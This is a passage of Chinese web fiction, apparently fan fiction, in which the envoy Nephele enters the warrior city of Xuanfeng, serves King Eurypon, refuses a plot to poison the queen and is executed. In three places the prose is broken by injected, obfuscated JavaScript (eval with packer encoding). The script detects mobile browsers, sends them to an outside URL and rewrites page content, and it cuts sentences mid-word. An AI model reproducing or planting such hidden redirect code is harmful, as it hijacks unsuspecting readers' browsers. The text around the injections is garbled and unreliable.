方式进入那片死亡盛开之地。您来自黄金世，不懂得死亡会使生命变成怎样脆弱的东西，但我明白，所以我能教您：不要为了已经失去的东西挑战死亡的权威。” “考虑到其它人都太迷信您了，我得警告您，以防您被这些声音瞒骗。”安吉奥认真地说，他真的认为只是在帮助眼前的使者，“如果您要涉入冥河，您会死，我们会变成背负罪名又无人庇护的流民。所以，看在这种可能的份上，请您多考虑一下。” “安吉奥，我要揍你！”格尔达被族亲按住肩膀，但还是扭动着叫嚣：“这次揍脸！” 安吉奥在族人不满的视线里从容地闭上了眼，像是在表达他“随便你们”的心声。 “我说的都是事实。”安吉奥说。 涅斐勒差点看呆了。老师他……不，还不能确定安吉奥是老师，但能做个假设，假设安吉奥就是他的老师：那他真没想到老师以前能这么武德充沛。 格尔达有些紧张，赶紧搬出她心目中最靠谱的“底牌”： “就算是这样，最终去哪里还是由涅斐勒大人决定，你们没意见吧！” 众人交换眼神，稀稀拉拉地点头。老者笑而不语，而安吉奥哼了一声对格尔达说： “格尔达，你少来这一套，从小时候起你就只知道靠爸妈撑腰，现在爸妈不在了，你就只记得找使者帮你解决那些无聊得要死的麻烦。你什么时候能长大些？” 格尔达的脸瞬间通红，她听到几个和安吉奥走得近的年轻人起哄，咬着牙跑开了。 安吉奥摆出胜利者的表情，转过头看向涅斐勒：“让您见笑了，使者大人。舍妹冒失无礼，在和您同行的那几天一定给您添麻烦了，我替她向您道歉。” 涅斐勒皱起眉：“格尔达帮了我很多。” 安吉奥不置可否，转而说：“不过，她说的话我也赞同——大家都赞同。我们这些人中，您才是有决定权的那个人。” 安吉奥的眼睛沉着而冷静，正如他犹如身处高空、俯瞰世界的广阔的内心世界。 “您想怎么样？去悬锋城，找到冥界与现世的入口，赌您的意志和死亡的权柄哪一个更强；还是去奥赫玛，用您的「神迹」和智慧让包括您在内的所有人度过更好的一生？” 涅斐勒闭上眼。 动摇的心在这一番纠缠后变得坚定，模糊的方向已经指明……已无需再犹豫了。 “我去悬锋城，而你们，去奥赫玛。” 涅斐勒下令。 “但，我保证，会在十五年内回来。而这段时间，「它」会与你们同行，代替我保证你们的安全。” 涅斐勒看向黄金飞龙。像是预知到与造主分离的时日将至，那聪慧的机械生命飞到使者身边，用身体和尾巴包裹住他的身体，一边享受着人类的手指抚摸鳞片的感觉，一边用巨大的头颅轻蹭人类的手臂。 “至于我，格尔达说的没错，我不能抛弃和墨忒斯之间的誓言。若是要我抛弃往事，我宁愿直面死亡；也只有这样，我们有可能重新成为「人」，而不是罪犯或流民。” “这就是我的指示。”涅斐勒说。 23. 盛放于冥土之花 没有人反对，至少明面上是这样。 午餐很快结束。不知何时启程，眼下的休息仿佛都短了些。 午餐后，涅斐勒提出要和飞龙单独待一会。大概是意识到涅斐勒是要安抚造物的情绪，多数人都很识趣地离开。只有格尔达仍留在了这里。 “格尔达。”涅斐勒有些复杂地唤。根据安吉奥说过的话推断，格尔达应该算是他的师姑？尽管记忆里从没听老师讲过他还有个妹妹，但事实摆在眼前，一时也让涅斐勒不知道该怎么做才好。 女孩坐在巨龙匍匐的利爪上荡着腿，听到涅斐勒的声音，她泪眼朦胧地抬起头来。 “……涅斐勒大人，中午好。” 涅斐勒有点承受不住“师姑”对自己用敬语造成的冲击，急忙表态：“不用再这么喊我了，格尔达。说起来，你怎么哭了？” 格尔达怒目一睁，跳下龙爪：“当然是因为安吉奥那个*佩拉斯脏话*东西！” 这狂野的用词、还有奔放的情绪……原来、原来是一家人特有的武德充沛啊。 涅斐勒已经很久没有从什么人身上感觉到恐怖了，眼前的格尔达算一个。 “为什么？安吉奥……说的不算错。”涅斐勒控制住自己在安吉奥后面加上“老师”二字的嘴。 “安吉奥就是个只会说漂亮话，骗那些不坚定的幼稚男孩跟他一起乱来的混蛋！”格尔达挑着眉谴责道，“他的脑子里全是危险的想法，从来没有乖乖待着、好好做事的时候！” 涅斐勒叹着气摇头：“好吧，至少我看出来了，我不该插手你们之间的关系。” 格尔达气鼓鼓地盯着他，显然不太满意涅斐勒给出的答案——跟她一起逃出雅努萨波利斯囚牢的使者怎么能不站在她这边呢？ “到下一个践行时，我们就要分开了。趁现在有机会，你有什么想对我说的吗？”涅斐勒想了想，开了个玩笑：“有想要我带回来的悬锋特产吗？” 格尔达立刻飞快地摇头，在她眼里，悬锋就是血腥和恐怖的代名词，能有什么好用有趣的东西？ “我连悬锋人都没见过，更别提他们的特产了——恐怕都是点怪东西。”格尔达把一些画面晃出脑袋，望着涅斐勒，“比起这些，我更希望您能早点回来，最好是带着好消息提前回来。”女孩的眼睛闪着光，充满了信赖和仰慕，“我会为您祈祷的！向伟大的艾格勒大人。” 女孩的灵魂纯粹得令人羡慕。 涅斐勒点头，答：“我会尽力。” 到了第二日的践行时，涅斐勒与族人告别，在他们不肯对视的目光中戴起兜帽，走向了和族人们相反的方向。 几日的徒步跋涉后，涅斐勒看着眼前宽阔得能容纳十辆车马行过的道路，站在持武器伫立道路两侧的黄金石像脚下眺望高处悬空的巨大锋刃——纷争泰坦尼卡多利投出的武器，他能从那锋刃上察觉到一股让人胆寒的杀气，或许来自于那柄锋刃的铸造者自追猎的天空泰坦身上刺下的眼睛。 “希望您没有骗我，雅努斯。” 涅斐勒闭上眼，用呼吸抚平不由得皱起的眉，汇入人流走向悬锋城的正门。 第一个目标，是想办法装作普通的旅人混进悬锋城城内。 想做到这件事，涅斐勒首先要确保自己的身份不要被认出。佩拉斯的使者自雅努萨波利斯出逃的消息应该已经不胫而走，祭司们各自有传递消息的手段。 但悬锋城自古便因信仰纷争泰坦被孤立于多数城邦之外，对他这位“忤逆者”的仇恨情结也没有其它城邦那么严重。由此，涅斐勒估计着：哪怕自己的外表过于显眼，应该也不至于刚进城就被接到消息提防他的守卫抓走或驱逐。 果不其然，在城门的守卫那里，涅斐勒遭到了一番苛刻的盘问。但当守卫意识到他仅仅是一个从雅努萨波利斯而来的流浪祭司时便失去了对他的兴趣。 守卫看着涅斐勒衣袍下瘦削的躯体，嗤笑着露出不屑的眼神，摆摆手将他放行。 唉，悬锋人。 看在这个结果对他有利的份上，涅斐勒老老实实地闭紧嘴巴随着众人进城。 主干道两旁，总有装饰用的血红旌旗在长矛的顶端飞扬。 现在该考虑第二个目标了……涅斐勒看向道路两边石像下燃烧的火盆。 灾厄三泰坦的关系，虽不至于像命运三姐妹一般紧密，但还是可以在彼此的权柄范围找到其它泰坦的影子。譬如说：纷争总是意味着死亡，死亡时常伴随着诡计，而诡计的背后总是一场又一场纷争的开始与结束。 雅努斯说，他的所求之物已沉于冥河之底。可是持火……莫非是要他点燃火堆？ 就在涅斐勒盯着火堆思考雅努斯预言的真意时，一名悬锋战士装束的男人路过，懒洋洋地将吃剩的果皮随手丢进了路边的火盆当中。 涅斐勒：“……”但，应该不是这个火。 悬锋战士装束的男人离开了，而银发的使者装作什么都没有看见默默移开了视线。 行走在悬锋城的大街小巷上，涅斐勒深深地意识到悬锋城作为一座城邦与其它城邦的不同之处。在这灾难肆虐的年代，人类之间互相倾轧，战乱、饥荒、或黑潮，在这些事物面前，人类的生命是如此渺小。涅斐勒总能从各种各样的人脸上看到心如死灰的绝望。 但悬锋城不同。涅斐勒很少见到有城邦的子民能像悬锋人这样——纯朴、张扬、毫无畏惧，就好像他们并非和同胞一样活在一个黄金腐蚀，薪火熄灭的年代，而是活在一个英勇无畏的战士享有世界上一切美酒佳肴的传说之中。 嗯，悬锋人。 作为祭司和使者，涅斐勒其实希望佩拉斯人能多一点悬锋人的大胆跟无所顾忌。 涅斐勒走神太久，就连被人拽住了衣摆都没注意。 他低下头——是一名乞丐。 乞丐捧起碗，涅斐勒看了一会，从口袋里拿出一小块金币（反正是真的，怎么弄的先别管）。 “很抱歉，我的闲钱只有这些。”涅斐勒说。 乞丐掂量掂量木碗，听到那碗里叮铃当啷响起的动静，他喜上眉梢地咧开了嘴。 “谢谢您，这位先生。我就说，您一看就是富有的旅客。”乞丐恭维道。 在涅斐勒惊讶的目光里，乞丐用那双漆黑的手抓住碗里的黄金丢进口中。 “嘿嘿，您别在意，我只是怕我这副老身子骨护不住您给我的东西，出此奇招而已。” 乞丐笑着，招招手示意涅斐勒过来。 涅斐勒挑了挑眉，乞丐又招手催促，于是他拽进兜帽，弯腰，凑在乞丐跟前。 “这位先生，你是不是就是那位……「雅努萨波利斯的囚徒」啊？” 涅斐勒呼吸一滞，眼神一冷。霎那，身披金甲的红发「剑士」自乞丐身后探出半个身子，那对闪着寒光的短剑已然从左右两边架住了乞丐的脖子。 “你是悬锋人？悬锋人不该知道。”至少不该这么早知道，在他还因为模棱两可的预言束手无策时。“你是谁？”涅斐勒问。 “哎哟哟，别这样，我本来也不是悬锋城的人，知道这事儿主要是因为我耳朵灵。”乞丐搓着手说，眼睛诡异地一转，“真的，我只是看您人好，想报答您而已。您……是不是想找到悬锋城与冥界的入口啊？” 这个乞丐有什么不对。但，不管是出于良知还是保持低调的目的，涅斐勒都不可能让剑士斩了他，一了百了。 涅斐勒沉默片刻，说：“油嘴滑舌。”而「剑士」也将双剑压下，抵住乞丐的脖子。 乞丐急忙招着手说：“这位先生，何必呢！你看，你帮了我，让我晚餐有着落，我也帮你，让你……嗨呀，反正是帮到您实现像您这样的人才有的远大志向嘛！你来我往互利互惠，和和美美，有什么不好！” “别多嘴，说你的答案。”涅斐勒说。此时他的心里已然有些后悔招惹上这个乞丐。 乞丐眼睛滴溜一转。 “嘿，答案嘛……实话说，我有点想不起来了，但……您要是再给我一点儿金子……” 咚的一声，乞丐的木碗里又多出了一块涅斐勒抛下的黄金。 乞丐立刻扑过去抓起那块黄金，掂量掂量，丢进嘴里——那一刻，他的身体似乎产生了些许扭曲，失去了原有的人形。 乞丐开心了，笑嘻嘻地吹捧：“您真是大方慷慨，您这样的人干什么都会成功的！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好，我要跳了。” 涅斐勒有些头晕，但还是仗着剑士的存在，紧紧地闭上眼睛，向着崖底一跃而下。 随后，破空声从头顶袭来，一柄锋利的长矛擦着涅斐勒的耳边精准地将他从下落的状态中逮住，重重钉在了背后的山壁上。 涅斐勒睁开眼，脚底悬空，更远处就是滚滚的溪流——啊，他开始头晕了。 涅斐勒奇怪地喊：“我应该没让你——” “哈哈——方才起，我就在城墙上看到阁下在这里徘徊，以为你是在找些什么。没想到呀，阁下这样看着颇为潇洒的人居然也会自寻短见？” 未见其人，涅斐勒先听到一道高亢嘹亮的女性的声音。 刺啦。 被长矛穿透的斗篷裂开一条口子，涅斐勒眉头一皱，将「剑士」唤至身边。 金发着铠的女人缓步走至崖边，她带着笑意看着涅斐勒被「剑士」抱在怀里自裂谷跃起落至女人眼前。 剑士屈膝下蹲，涅斐勒默默从剑士怀抱里走下地面。 陌生女人略显好奇地看着「剑士」，似乎从未见过这样奇妙的造物。 “这是你的战友？”她问。 涅斐勒只想赶快走人。 他低下头，拽低兜帽，他在尽量不让面前的金发女人看到他的脸。 但事出突然，涅斐勒没来得及准备好这番尝试被人发现的应对方案，又或者仅仅只是因为金发女人有着属于一个战士的为人称道的好眼力——总之，涅斐勒很确定有一道发烫的视线定格在了他脖子上的镣铐上。金发女人的动作也产生了停顿。 涅斐勒：“……”真不妙啊，她绝对注意到自己的不对劲了。 事到如今，先保证自己别被逮捕吧！ “借过。”涅斐勒说着，死死低着头，越过金发女人快步朝前走去。 “等等。”女人拽住涅斐勒，那双纤细的手臂隐隐有肌肉隆起，竟让他挣扎不开。 女人微笑着。 “你看着像外来者，或许不认识我，你可以叫我「歌尔戈」，这座城的王妃。”歌尔戈在说话时眼神一直停留在「剑士」身上，“我在想，也许，你可以带着你身边这位身手敏捷的战士来宫殿和我一叙。”她的语气里深藏着一位战士面对好对手时才有的战意。 涅斐勒察觉到了。 啊！悬锋人！ 涅斐勒苦涩地说：“……我同意。” 求求你们改改你们好战的本性吧！ 24. “必要” 悬锋角斗场。 四周空无一人，滚滚熔岩上横亘着一座圆形平台。脚下的熔浆每冒出一个气泡，平台上便应景地响起刺耳的金铁交击之声。 长矛从歌尔戈手中风一般刺出，刺向涅斐勒的面门。一柄剑自上方飞出将长矛砸在地上，红发的机械剑士自虚空中现身，在歌尔戈挑飞短剑旋身刺击的瞬间，持剑向她的胸口砍去，迫使歌尔戈收住动作将双矛于头顶交错，屈膝卸力拦下这一击，金铁铿锵激起层层气浪。 二者僵持着。另一柄打飞到一边的短剑颤了颤，猛地飞向剑士伸出的右手，歌尔戈眼神一凛，发力将剑士打飞出去，手腕一转将长矛丢向下落而无法闪避的剑士。剑士则反手下劈，剑锋擦过歌尔戈的发梢，从那美丽的金发中削下了一缕。 长矛砸在剑士的胸膛，刹那间，机械护卫的躯干碎作了一地零件。 歌尔戈解开束起的长发，一层汗水，浮在她如狮子般健美的肌肉上。 “好！够畅快！” 剑士化作金色的光子原地消散，涅斐勒吃力地拾起那对短剑——那是一对剑柄上嵌着雅努萨波利斯的红宝石，既美丽夺目又吹毛断发的宝剑。 涅斐勒将这对剑小心地抱在怀里。好像具有魔力，方才锋锐的武器安静地躺在涅斐勒怀中，并非伤及他一分。在他身后，空间被一双精巧纤细的手臂撕裂，负伤的剑士自其中出现，将手伸向涅斐勒举起的双剑，取走了自己的武器。 涅斐勒松了口气，看向歌尔戈，这位战士带着清爽的气息正迎面向他走来。 “胜负已分，殿下。”涅斐勒说，“显然，是您赢了。” 歌尔戈深深地打量眼前的男人，送还那对双剑后，他便将手藏在斗篷之下，微微低着头，只露出轻抿的嘴唇和洒落的泉水般泄露在肩的银发。 “抬起头来，战士。”歌尔戈说，“让我看看你——你是哪座城邦的孩子？” 涅斐勒后退一步，他的斗篷晃了晃，充满对暴露真容的抗拒。 “不必勉强他了，王妃。” 一道沉厚威严的声音从角斗场高处的观众席上传来，身着铠甲的健壮男人一步步走至角斗场，随着他迈出的每一步，都好像有尸山血海在这片圆台浮现。 男人身上的威慑感令涅斐勒屏住呼吸。 陌生的男人低头看向歌尔戈，嘴角露出一抹吝啬的微笑。 “我听到声音就赶来了。歌尔戈，想不到你的身手依旧如你我初见那日敏捷，恐怕现在让你去城外猎杀一头雄狮也不在话下！” 歌尔戈微微一笑，不卑不亢地颔首。 “您亦如此，王。” “至于你，这位流浪祭司，能让悬锋城的王妃因你感到些许愉悦，无疑是你的荣耀。”王傲慢地认可道，“你有什么想要的？只要值得上这一场比斗，我可以差人为你寻来。” 歌尔戈愣了一下，无奈地解释：“王，你误会了，这孩子不是来与我角斗的战士。” 涅斐勒面无表情地搜刮着脑海里学到的知识，思考悬锋城这代的「王」到底叫什么名字，有什么事迹。 印象稀薄，但最终，涅斐勒还是想了起来——欧利庞。王的名字，叫做欧利庞。 真是恐怖的男人啊。 “欧利庞王。”涅斐勒道，“是，如王妃所言，我不是战士，所以，不需要您的奖赏。” “嗯。”欧利庞没有在这个话题上过多费心，显然，他更在乎另外一件事：“歌尔戈说，你不是战士？那你为什么出现在这里？” “我——”这个问题难以回答。 “您还记得四年前，您在听闻那则预言后放出的消息吗？”歌尔戈忽然说。 像是想起了什么，涅斐勒竟然看到欧利庞王的眼中出现一刻犹疑与凝重。 “不是战士，那么，你是祭司？”欧利庞的声音像一只匍匐的狮子，沉厚、稳重却难以让人有分毫放松。他向着涅斐勒所在的位置跨出一步。 “你是因为那则悬赏来的？” 悬赏？什么悬赏？四年前，他还被关在雅努萨波利斯的黑屋不见天日。 但这是个机会，这个误解，或许，意味着一次潜在的机会。 下定决心，便要开始行动。然而涅斐勒没有把握在一位王者的审视下用几秒钟说出一则毫无破绽的谎言，因此他坦然地抬起头直视这位悬锋城的王。 “我可以是。”他说，一抹自使者眼中迸发而出的蓝直直撞进欧利庞王磐石般坚定的眼睛里，而这抹蓝色因为其特殊的意义连那坚定也捅个对穿。 “我是佩拉斯的使者，如果您真的是一位合格的王，知晓我所犯下之事，便应该记得我的名字、我的容貌，也应该知道，如果您需要一位祭司辅佐您，我会是那个众人之中最值得您侧目的选择。” “……”欧利庞沉默不语。歌尔戈亦只是惊愕地望着他，似是没想到自己一时兴起随手救下的人类竟有这样大的来头。 “佩拉斯、佩拉斯……我没记错的话，那里的人都是艾格勒的信徒。”欧利庞回想着那座北面群山之中的城邦，“告诉我，使者，你为何在离开雅努萨波利斯后选择来到悬锋？” 欧利庞的手指有一搭没一搭地在腰间佩戴的宝剑上敲击，「剑士」的核心虽然保留了下来，但想要恢复战力必须经过一段时间的休息。如果涅斐勒没能给出让王满意的回答，他今天就会死在这里，到时，这具身体里流淌的每一滴血都将被用来擦拭那柄宝剑的锋芒。 他摘下兜帽，露出自己显眼的容貌，笑着答：“很显然，是无路可去。” “您是王，一定会明白在世人眼里我犯下的罪有多么不可饶恕——正如历史上悬锋的诸位勇士创造的逆反人伦的罪状。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438474|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音未落，剑鸣嗡响，欧利庞的剑刃以肉眼无法捕捉的速度擦过涅斐勒的脖子，划开一条细细的血线，血珠争先恐后地从伤口中涌出，落在镣铐的凹槽上，沿着脖子上的血管缓慢地流下。 “您不必气恼，我不是在挑衅您，相反，只是在表示我与您的立场一致。”涅斐勒道。 “也罢。罪名而已，自悬锋城建城起，那些懦夫也不止一次妄图用这种手段玷污我族的荣耀了。”欧利庞挪开剑锋，居高临下地看着涅斐勒，眼中竟含有一丝怜悯。 “所以，你来悬锋城，是想在悬锋威名的掩饰下苟且偷生？” “欧利庞王，我从没有说，我就是犯下弑杀树庭学者之罪的犯人。” 欧利欧大笑，漫不经心地告诉涅斐勒，他见过太多太多欠下血债的人这样诉说。 “而他们多数都在角斗场上死于‘债主’的愤怒，尸骨无存！” 涅斐勒无动于衷，欧利庞在恐吓他，可这就是事实。 “既然您不相信，那就换个话题吧。”涅斐勒拍着自己的胸口，给出了有力的论据： “假如我是罪犯，那么对您来说，包庇一个罪犯就能让一位使者为您卖命，怎么样，王，这笔交易够划算吧？” 在欧利庞眼中，涅斐勒就像一个耍着小聪明的孩童，脆弱的身躯只需略微受力就能被掰成两半；可偏偏这样的人居然敢与他谈判，实在是自大又可爱。像这样的人，是要像他信仰的泰坦那样被不舍日夜追逐的悬锋勇士刺瞎双眼的。除此之外，他也同样好奇到底是什么驱使着一位养尊处优的祭司涉足自己脚下的土地。但欧利庞不打算问，因为他知道，涅斐勒不会说。 在欧利庞眼中，眼前的使者既陌生又孱弱。但，想到那则预言，王不得不承认他确实需要一位更强大的祭司来辅佐自己。 四年前，王自王城的祭司口中得到了预言：在未来，他的儿子，下一代的悬锋城之王会将他弑杀于王座上，夺去王位，并终结悬锋城延续千年的荣耀。 每一次，每当王向祭司们询问，得到的却都是那句“预言不可逆转”的裁判。但也许那只是因为他们都太过于刻板无知？ 假如聆听预言的使者是眼前身负骂名却依旧我行我素的家伙——那不拘一格的言行还有那耀眼的才能或许真的能为他所用。 王闭目思量，终于道：“使者，把你是如何从雅努斯的囚室中脱逃的故事讲给我听。” 危机解除了。虽然这意味着……从此涅斐勒要为尼卡多利的信徒使用自己的神迹。 真是屈辱啊，但现在，毫无退路的自己无力改变这一切。 想到自己背负的诺言还有佩拉斯人在大陆行走所必要的清白，涅斐勒极为缓慢地躬身对欧利庞行了一礼。 使者毫无感情地回答：“欧利庞王，佩拉斯城的使者涅斐勒，愿为您效劳。” 25. 死者将去往何处 死者将去往何处？作为一名逝者，他们死后将如何抵达冥土？ 从与欧利庞王达成交易后，涅斐勒渐渐接管了一部分悬锋祭司的事务。同时，他与王默契地达成了一些潜在条款，比如王默许他在处理公事之余有一些动作，而他，则依旧会像进城时那样保持身份上的低调。毕竟包庇罪人可不太好听，不是吗？ 涅斐勒慢慢染上了观看角斗的嗜好，这种野蛮的癖好放到以前简直想都不敢想。但没办法，每天混迹在悬锋人之中，时不时接受那位王者的视线洗礼，盘问关于那则预言的进展——换谁都会压力大到出现一些匪夷所思的变化。 角斗士们在场上厮杀、缠斗，而他只是坐在这里，目睹战斗结束，一具具战败者的尸身在山呼海啸的狂欢中流出足以染红角斗台的鲜血，在众人送上的喝彩中被角斗场的管理者拖下赛场，消失在漆黑的通道深处。 涅斐勒起身。 压力得到了释放……还是去工作吧。 直到有一天，涅斐勒被王召唤到殿前。 那一日，悬锋城热闹无比，处处悬挂着血红的旌旗。每个悬锋人都知道：前些日子，他们的王妃诞下了一位王子，那孩子继承了王者的血脉，象征着悬锋的荣耀将在如今的王者老去后有了寄托的对象，那位王子将肩负王朝的一切继续在翁法罗斯的长河中走下去。正如他们所期待的，正如悬锋人自建城起就听闻的那则预言：天谴之锋与逐锋之人，将永悬大地之上。 但对于知晓内情的人，比如涅斐勒来说，这恐怕是个不妙的消息。 “那则预言，有什么改变吗？”欧利庞坐在高处的王座上，质问台阶下跪地的使者。 “您知道，我的「神迹」和预言没什么关系，那是属于雅努萨波利斯圣女的才能。”涅斐勒答，“何况当初您留下我，就证明您不想服从预言，而是想改变预言吧？” 涅斐勒将手抚于胸口，这番辩白后，他方才抬起头，开始向王者阐述真实的经过。 “目前来看，那则预言没有任何变化，悬锋城的祭司不管换了多少，才能如何，看到的都是同一幅画面——也就是您被您那尚未诞生的子女于王座斩落的画面。我认为，比起抱着侥幸之心证明预言有错，不如从现在开始为改变预言中预告的故事而做些实质性的努力。” 面对涅斐勒铿锵有力的劝谏，王者眯着眼喟叹一声。 “使者啊、使者，假如你自小就是个悬锋人，我必回将你送到卫队中，严加锻炼，当做亲信培养。真遗憾，那些对泰坦俯首跪拜的软弱思想荼毒了你，就连我从你身上也只能看到点仅存的火花。” 涅斐勒沉默了一会，平静道：“按照时间计算，我在佩拉斯就任祭司时，您还是个在襁褓中的孩童。就算培养，也应该是我培养您吧？” 王的笑声响彻悬锋城宫殿的上空，他用指尖敲击着王座的扶手。 “你这是在不甘心呐，亲爱的使者。” 涅斐勒微微低头，没有说话。欧利庞王恐怕一早就看出了他因为要侍奉悬锋的王者而被触碰毁坏的自尊。 最重要的是，在这段日子里，寻找通往冥河之地的目标仍旧是停滞不前。那片盛开于冥河之畔指引他寻回魂魄的花，究竟要再等多久才能看到？ 梦中时而传来内容难辨的呓语……是迫近的死亡在冥河对岸呼唤他的名字。涅斐勒知道，他还有着最后一个「选择」。但那毕竟是一个赌注，他想等到别无他法时再试着去选择它。 “算了，使者呵，你不会真的认为我会将事关悬锋王朝的大事交付给你一人？”王走下王座，一步步踩过那些阶梯，“不过，既然连你这样的祭司也失败了，预言中的故事恐怕真的会发生，而我，也是时候做出这个决定了。” 涅斐勒看着欧利庞一步步逼近自己，直到那高大的身躯如群山般投下黑影，遮挡住他面前的太阳。 “我要你去办另一件事。”欧利庞用起床时要求侍从为自己取来王冠的语气说道，同时将一只银壶扔到了涅斐勒面前。 银壶掉在地上，旋转着停在距离涅斐勒衣袍的边缘几个指节远的地方。 涅斐勒皱起眉，抬头看着王。 “这是？” 王笑而不语：“你且打开闻一闻，自然就会知道。” 涅斐勒捡起银壶，思忖着打开壶嘴，里面是半壶淡红的液体。 “石榴汁？”欧利庞为什么要给他果汁？ 王一抬下巴，“闻一闻，使者。” 涅斐勒照做，随后睁大双眼——那果汁里有一股让他头晕目眩的异味，仅是闻到就已令他头脑昏沉。 王冷眼看着涅斐勒在嗅到壶中气味后骤然倒向一侧的身体，看着他在短暂的失神后迅速撑住地面，另一只手的手指用力攥住银壶的瓶口，不可置信地抬起头。 “既然我的孩子注定要因自己的愚蠢或鲁莽葬送王朝，我为何要留他到长大的那天？” 这一刻，涅斐勒连敬语都忘记了：“你要给歌尔戈王妃下毒？” 涅斐勒为王者的冷血感到震惊，但，并不只是震惊。他感受到了一种命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438475|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运，一种从踏上悬锋的土地起就感受到的命运。 “歌尔戈时常与你那个剑士切磋，一场比斗之后，你向她呈上饮料。”王平静地描绘那个画面，“她绝不会拒绝，如此一来，预言可破，悬锋王朝霸业可成。至于你，使者。” 王算计着一切。不如说这就是王。 “我看出你并非贪生怕死之辈，我收回那天对你的评价，你并非什么为了苟且偷生才躲在悬锋高墙下的懦夫，恰恰相反，我相信你是个英雄。”王说道，“所以，事成之后，我会请史官编撰以你为主角的故事，歌颂你的英明，以悬锋之王的名义向世人为你和你的子民澄清。” 涅斐勒复杂地勾起嘴角，“您真是下了血本，这样足以抵消我没能给王带来想要的预言，以及参与谋害悬锋王妃的新罪吗？” 王傲慢地回答：“你自有答案，但我，只需要你的回答。” 为了毒害那位同样强大的王妃，王赐予使者的果汁中掺入了足以让一头大地兽麻痹过去的毒药。根据涅斐勒的知识，这种毒药并不致命，但却十分隐蔽。所以王想要他作为那个刺客谋害王妃，为他制定好的计划铺路。 可事实真的只是如此吗？ 歌尔戈王妃只是欣赏他打造的剑士，而非全然信任着他。以那位王妃的敏锐，在他呈上果汁的瞬间就会明白他已经背叛，毫不犹豫地将他格杀当场。王恐怕早已决定，若是他不能改变预言，便在今天用这种手段迫使他参与到自己的计划中。王用使者最想要的东西诱惑使者，诱惑他做出这个送命的选择。如果使者真的接过毒药，王不会在他死后履行他承诺的事，因为在王眼里，这只是个愚钝的小丑，自私的卑鄙小人。 但，王也用那属于一位王者冰冷的慈悲为使者留下了最后一条道路：死亡的道路。 唯有死亡，唯有用自身之血证实他的品格，他才能在王者手中求得那一丝宽容。 涅斐勒看透了王者全部的谎言，这即将逝去的使者看着银壶上自己的倒影，笑着倒举银壶——把整整半壶石榴汁泼在了地上。 王的眼中流露欣赏，使者说： “我选好了，欧利庞王。您还是将我斩杀于此，用来祭奠您来日将逝的荣光吧。” 一手设下陷阱，逼使者主动选择身殒的王者没有任何表情，他高高举起那柄重剑。 “使者啊，你拥有悬锋人的精神。” 王赞许道，沉声怒喝： “而我——悬锋城的王欧利庞，会记住今天，记住一位勇士为悬锋城所做的牺牲！” 26. 「错误」 只是一剑——是的，只是一剑而已。 刺穿咽喉，人首分离的一剑。 已足以终结这作为使者的一人的生命。 这毫无折磨与羞辱的死法，正是王对一位勇士的宽恕。 即便如此，还是很疼啊。要说唯一的好处，大概就是那道枷锁终于掉落了吧。 尸身上掉落的头颅滚在一边，王将宝剑插入地面，走过去合上那双眼睛。 悬锋城的上空汇聚起乌云，片刻后从天而降的雨打湿了王座前的台阶。 “……”王叹息一声，转身看向王座的后方，“上前来吧，祭司。” 一袭黑袍的祭司从王座后转身，走到王者身边，微微行礼。 “我按你说的，得到了他的尸身。”王说道，“来吧，祭司，该履行你的誓言了。” 祭司冒着雨，鞋底踩在使者身下的血泊中，伸出一只手。 “王，别急。按照您的计划，为使悬锋王朝荣光永续，我们需要做很多很多事。但我也提醒过您，我不确定涅斐勒的灵魂真的在他的身体里，作为分离尼卡多利神灵魂的试验品与材料，他极有可能并不合格。” 祭司手轻轻放在那具尸身的胸口处，冰凉的触感传入指尖。 感受了一会，祭司摇摇头，遗憾道。 “果然啊，王。” “他的灵魂已经不在这里了。” 王皱起眉，“连一星半点的残留都没？” “嗯，连一星半点的残留都没。”祭司轻捻手指。 “……那有可能去哪里？”王低声问。 “谁知道呢？在翁法罗斯，灵魂的去处可是不固定的，”祭司漫不经心地说，似乎对此颇有体悟，“灵魂嘛，有的徘徊人间、有的沉入冥海、有的转生成新的个体。” “反正不管去到哪里，它们一个个，都依旧是命运的奴隶。” 说到这里，祭司转身行礼。 “让您见笑了，王，这只是我作为祭司一点无足轻重的玩笑话。”祭司轻描淡写地夺走对话的主导权，“比起这个，您还是多考虑愈发疯狂的尼卡多利神和您的王妃歌尔戈吧。比起我的胡言乱语，祂们给您带来的麻烦更多不是么？” 祭司默默告退。王座前，雨水连着整个王朝的悲凉轻轻落在欧利庞王的肩上。 “吾爱，我很抱歉。”王闭上眼，雨水划过他饱经风霜的脸庞，他喃喃自语：“但你太爱那孩子了，只会成为我的敌人——为了悬锋城的荣耀，我必须这么做。” 在沉向某地的过程中，涅斐勒做了一个梦。梦里是他遥远的过去，真正的过去。 有一个孩子，从出生起，就伴随着「天音」的侵蚀长大。谁都听不到那阵天音，就连孩子的父母都认为他染上了黑潮传播的疯病。那些声音化作梦中的呓语，为孩子讲述着无数往事，翁法罗斯被毁灭、再重建，幻梦和天音为孩子演绎了这一切。 某一天，孩子又一次听到了天音在耳边鸣响，他一直走到村子外，在那里碰见了此生仅此一面的存在。 “嗯？一个普通的人类孩童。”智械生命说，“你为什么会出现在这里呢？” 孩子是怎样回答的呢？他说： “是你吗？一直在我脑子里说话的人。你到底……为什么要这样？” 智械生命转过身。 